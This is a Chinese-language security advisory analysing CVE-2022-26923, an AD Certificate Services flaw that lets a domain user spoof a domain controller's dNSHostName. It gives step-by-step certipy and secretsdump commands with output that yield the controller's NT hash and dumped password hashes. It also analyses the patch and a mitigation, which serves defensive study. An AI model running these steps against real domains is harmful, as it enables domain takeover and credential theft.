声明:本篇文章由 可可@ QAX CERT原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。
一、背景
在Windows Active Directory 中除了使用密码进行身份验证之外,还可以配置使用证书进行身份验证。开启了AD CS(Active Directory Certificate Services)角色之后,CA服务器可以颁发证书,证书内包含的信息将域内用户绑定到一对公私钥上,而后可以使用该证书进行身份验证。
证书生成流程
-
客户端生成公私钥对
-
客户端发送CSR请求给CA服务器,请求内包含:证书模板名称、证书主题名称等
-
CA检查客户端请求的证书模板是否存在,是否允许客户端请求证书等
-
如果检查通过,CA将一些信息填入到证书模板内的对应位置,从而生成证书。
-
CA使用其私钥给证书签名,而后一并返回给客户端
用户可以根据预定义的证书模板请求证书,模板内指定了证书内需要包含的内容、用途、允许谁注册等。
参考
https://posts.specterops.io/certified-pre-owned-d95910965cd2
二、漏洞分析
测试环境
-
Windows Server 2019
默认情况下,域内用户可以请求注册User
证书模板,域内计算机可以请求注册Machine
证书模板 ,通过这两种模板生成对应的证书。这两个证书都可用于进行kerberos
身份验证,在传统的kerberos
的预认证中通常使用用户密码生成的NTLM hash
对时间戳进行加密,在使用证书的kerberos
认证中,使用证书的私钥对时间戳进行加密。
在User
模板中包含有UPN
信息用来标识用户,在Machine
模板中使用DNS名(DNSHostName)
来标识计算机。
当使用证书拓展进行kerberos
身份验证时,对于User
模板,KDC
将尝试将证书中的UPN
映射到域内的用户,对于Machine
模板,KDC
尝试将证书中的DNS
名映射到对应的机器账户上。
在微软文档中提到,域控对林内的用户的UPN/SPN
属性做了唯一性限制,如果尝试修改当前UPN
为林内已存在的UPN
值则会报UPN
已存在错误,但文档中并未说对dNSHostName
属性做林内唯一限制。
在域内,域控也归于计算机一类,所以给域控颁发的证书应使用Machine
模板,域控的dNSHostName
属性值为ADServer.xxxx.com
,此时可以修改域内其他计算机的dNSHostName
属性为域控的dNSHostName
一样的值,此时并不会报错。
此时利用这个机器账户申请以Machine
为模板的证书,CA服务器给该机器账户颁发证书,该证书实际为域控权限的证书。
➜ ~ certipy req 'xxx.com/cqyPC$:[email protected]' -ca sunrain-ADSERVER-CA -template Machine -debug
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'ADServer.xxx.com' at '192.168.59.2'
[+] Generating RSA key
[*] Requesting certificate
[+] Trying to connect to endpoint: ncacn_np:172.16.2.4[\pipe\cert]
[+] Connected to endpoint: ncacn_np:172.16.2.4[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'ADServer.xxx.com'
[*] Saved certificate and private key to 'adserver.pfx'
在证书详情中可以看到CA认为该证书是颁发给ADServer.xxx.com
也就是域控的证书。
此时利用该证书导出的私钥进行kerberos认证,可以获取到域控的NT hash
,利用该hash 可以导出域控内所有用户的哈希.
➜ ~ certipy auth -pfx adserver.pfx -debug
Certipy v3.0.0 - by Oliver Lyak (ly4k)
[+] Trying to resolve 'xxx.com' at '192.168.59.2'
[*] Using principal: [email protected]
[*] Trying to get TGT...
[+] Trying to connect to KDC at 172.16.2.4
[*] Got TGT
[*] Saved credential cache to 'adserver.ccache'
[*] Trying to retrieve NT hash for 'adserver$'
[+] Trying to connect to KDC at 172.16.2.4
[*] Got NT hash for '[email protected]': f54f5beb0ef37e1400bbd78f96b259d1
➜ 36923 secretsdump.py 'xxx.com/[email protected]' -hashes :f54f5beb0ef37e1400bbd78f96b259d1
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xa762d333ef153acf7e28c9047572bd7f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2c1b81293caf0d09a6760f2eb63b49a5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
谁能修改dNSHostName
利用该漏洞的核心是修改某个机器账户的dNSHostName
属性为域控的dNSHostName
属性,再利用该机器账户申请Machine
证书。实际利用过程中需要通过LDAP
接口对该属性进行修改,需要知道有什么权限可以修改该机器账户的dNSHostName
属性。
查看LDAP中该PC的安全属性,创建该机器账户的账户对以下三个属性具有写权限。
-
DNS主机名(DNS Host Name)
-
SPN(servicePrincipalName)
-
账户限制
也就是创建该机器账户的账户可以修改该机器账户dNSHostName
属性,实际利用过程中利用已掌握的账户创建机器账户,之后使用掌握的账户修改机器账户的dNSHostName
属性为域控的dNSHostName
属性,申请证书即可完成提权。
如何从证书映射到域内用户
在User模板的证书中存储的是用户的UPN
信息,Machine
模板的证书存储的是计算机的DNS Host Name信息,那么Windows是怎么从证书的这些信息关联到域内某个用户或某台机器呢?
Subject Alternative Name (SAN)是一种拓展允许将其他身份绑定到证书,而模板中存储的UPN或者DNS Host Name就是存储在该结构中。
在进行kerberos认证过程中,AS-REQ预认证中需要颁发给计算机的证书中的私钥加密时间戳放在预认证字段中,同时在req-body的cname字段中指定请求TGT的用户账户(机器账户)。
在微软文档中 规定了KDC从证书映射到用户的逻辑,当账户的userAccountControl
的WT位或ST位为TRUE时尝试通过SAN DNSName 字段验证证书映射,当两个比特位都为FALSE时首先使用SAN UPNNAME字段,而后尝试显式映射。
The KDC SHOULD look up the account using the cname. If the account is not found and the cname name-type is NT-X500-PRINCIPAL, the KDC locates the account in the account database using the explicit mapping fields. Implementations of PKCA KDCs which use Active Directory for the account database when the userAccountControl attribute ([MS-ADA3] section 2.342) bit WT or ST ([MS-ADTS] section 2.2.16) is:
TRUE: validate certificate mapping using the SAN DNSName field.<20>
Both FALSE: validate certificate mapping using the SAN UPNName field first, then try explicit mapping
userAccountControl
的比特位定义如下,WT
指出该账户是域内的一台计算机的计算机账户,ST
指出该账户是DC的一个计算机账户。
查看普通计算机账户和域控计算机账户的该属性值,可以发现普通计算机的WT位为TRUE,ST位为FALSE,域控的WT位为FALSE,ST位为TRUE。
这意味着不管是普通的机器账户还是域控的机器账户,在KDC尝试从证书映射到账户时都将使用SAN DNSName字段。
SAN DNSNAME字段映射逻辑是什么?
在文档中提到KDC必须确保账户名和以$结尾的DNS Name字段的计算机名匹配,并且证书中的DNSName字段的DNS域名和域的域名一样,当使用AD数据库时,使用账户的sAMAccountName字段作为计算机名。
The KDC MUST confirm that the name of the account found matches the computer name in the DNSName field of the certificate terminated with “$” and that the DNS domain name in the DNSName field of the certificate matches the DNS domain name of the realm. Implementations of PKCA KDCs which use Active Directory for the account database MUST use the sAMAccountName attribute ([MS-ADA3] section 2.222) for the computer name. If they do not match, the KDC SHOULD return KDC_ERR_CLIENT_NAME_MISMATCH.
所以当我们修改创建的某个机器账户的dNSHostName字段值后,使用该机器账户申请证书,并使用该证书申请TGT,KDC会查看证书中的SAN DNSName值,把该值中的计算机名取出加上”$”和AD数据库内的账户的sAMAccountName属性做比对。
在域内,即使机器账户的dNSHostName
字段为域控的dNSHostName
字段值,该机器账户的sAMAccountName
也不为域控的sAMAccountName
值,所以机器账户的sAMAccountName
和证书中的DNS Name的计算机名加上”$”不匹配,只有域控的sAMAccountName
字段值和证书中的DNS Name的计算机名加上”$”匹配。此时KDC将会找到域控的机器账户,并认为是域控在申请TGT,所以返回了域控权限的票据。
题外话
刚开始试图在windows server 2008上复现该漏洞,因为此前导出过该系统的keytab可以解密kerberos流量,但进行kerberos认证时一直报KDC_ERR_CLIENT_NAME_MISMATCH
错误。
之后在查阅文章的时候发现Windows 2000、Windows Server 2003、Windows Server 2008 和 Windows Server 2008 R2 不支持SAN DNSName字段,Windows没办法取出正确的名字进行匹配,所以Windows会报KDC_ERR_CLIENT_NAME_MISMATCH
。
<20> Section 3.1.5.2.1: SAN DNSName field is not supported by Windows 2000, Windows Server 2003, Windows Server 2008 and Windows Server 2008 R2https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/eb360f66-86ed-4231-beb9-a66814003513#Appendix_A_20
三、修复分析
微软五月补丁日对该漏洞进行了修复,在安装了补丁的CA服务器上,User和Machine证书模板引入了新对象ID,该处将会填充账户的SID。
使用WMIC查询域内所有用户名和SID,可以看到机器账户不在其中。
PS C:\Users\administrator> wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-3045713906-1525757291-2664541713-500
Guest S-1-5-21-3045713906-1525757291-2664541713-501
krbtgt S-1-5-21-3045713906-1525757291-2664541713-502
winserver S-1-5-21-3045713906-1525757291-2664541713-1000
test S-1-5-21-3045713906-1525757291-2664541713-1149
HealthMailbox4def95d S-1-5-21-3045713906-1525757291-2664541713-2604
cqy S-1-5-21-3045713906-1525757291-2664541713-3102
如果是User模板则填充对应用户账户的SID,如果是Machine模板,由于机器账户没有SID,所以该处填充创建该机器账户的用户账户的SID,通过引入SID属性,KDC可以进一步标识证书对应的账户。
使用创建该机器账户的账户修改机器账户的dNSHostName
时,dNSHostName
值仅被允许设置为和账户的sAMAccountName
匹配的值。
下面尝试修改cqyPC的dNSHostName
为cqyPC1.xxx.com但域控返回了错误
➜ 36923 python3 bloodyAD/bloodyAD.py -d xxx.com -u cqy -p '123456' --host \
172.16.2.4 getObjectAttributes 'CN=cqyPC,CN=Computers,DC=xxx,DC=com' \
DNSHostName
{
"dNSHostName": "sss.xxx.com"
}
➜ 36923 python3 bloodyAD/bloodyAD.py -d xxx.com -u cqy -p '123456' \
--host 172.16.2.4 setAttribute 'CN=cqyPC,CN=Computers,DC=xxx,DC=com' \
DNSHostName '["cqyPC.xxx.com"]'
DNSHostName set successfully
➜ 36923 python3 bloodyAD/bloodyAD.py -d xxx.com -u cqy -p '123456' \
--host 172.16.2.4 setAttribute 'CN=cqyPC,CN=Computers,DC=xxx,DC=com' \
DNSHostName '["cqyPC1.xxx.com"]'
Traceback (most recent call last):
File "/root/36923/bloodyAD/bloodyAD.py", line 54, in <module>
main()
File "/root/36923/bloodyAD/bloodyAD.py", line 50, in main
args.func(conn, **params)
File "/root/36923/bloodyAD/bloodyAD/modules.py", line 55, in setAttribute
setAttr(conn, identity, attribute, value)
File "/root/36923/bloodyAD/bloodyAD/utils.py", line 141, in setAttr
ldap_conn.modify(dn, {attribute: [ldap3.MODIFY_REPLACE, value]})
File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 1143, in modify
response = self.post_send_single_response(self.send('modifyRequest', request, controls))
File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 121, in post_send_single_response
responses, result = self.get_response(message_id)
File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 402, in get_response
raise LDAPOperationResult(result=result['result'], description=result['description'], dn=result['dn'], message=result['message'], response_type=result['type'])
ldap3.core.exceptions.LDAPConstraintViolationResult: LDAPConstraintViolationResult - 19 - constraintViolation - None - 0000200B: AtrErr: DSID-033E1062, #1:
0: 0000200B: DSID-033E1062, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 9026b (dNSHostName)
- modifyResponse - None
此时在域控修改cqyPC的sAMAccountName
值为cqyPC1$
,此时修改机器账户的DNSHostName为属性cqyPC1.xxx.com不报错。
➜ 36923 python3 bloodyAD/bloodyAD.py -d xxx.com -u cqy -p '123456' \
--host 172.16.2.4 setAttribute 'CN=cqyPC,CN=Computers,DC=xxx,DC=com' \
DNSHostName '["cqyPC1.xxx.com"]'
DNSHostName set successfully
四、缓解措施
在域内可以将 MS-DS-Machine-Account-Quota 值设置为0,即用户账户无法创建新的机器账户,攻击者无法创建机器账户并修改其dNSHostName
属性,也就无法利用该漏洞,但此缓解措施并未从根本上缓解此漏洞影响。
五、参考链接
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://docs.microsoft.com/zh-cn/openspecs/windows_protocols/ms-pkca/4ab93c65-0e57-4370-9d63-b90
原文始发于微信公众号(奇安信 CERT):CVE-2022-26923 AD域提权漏洞深入分析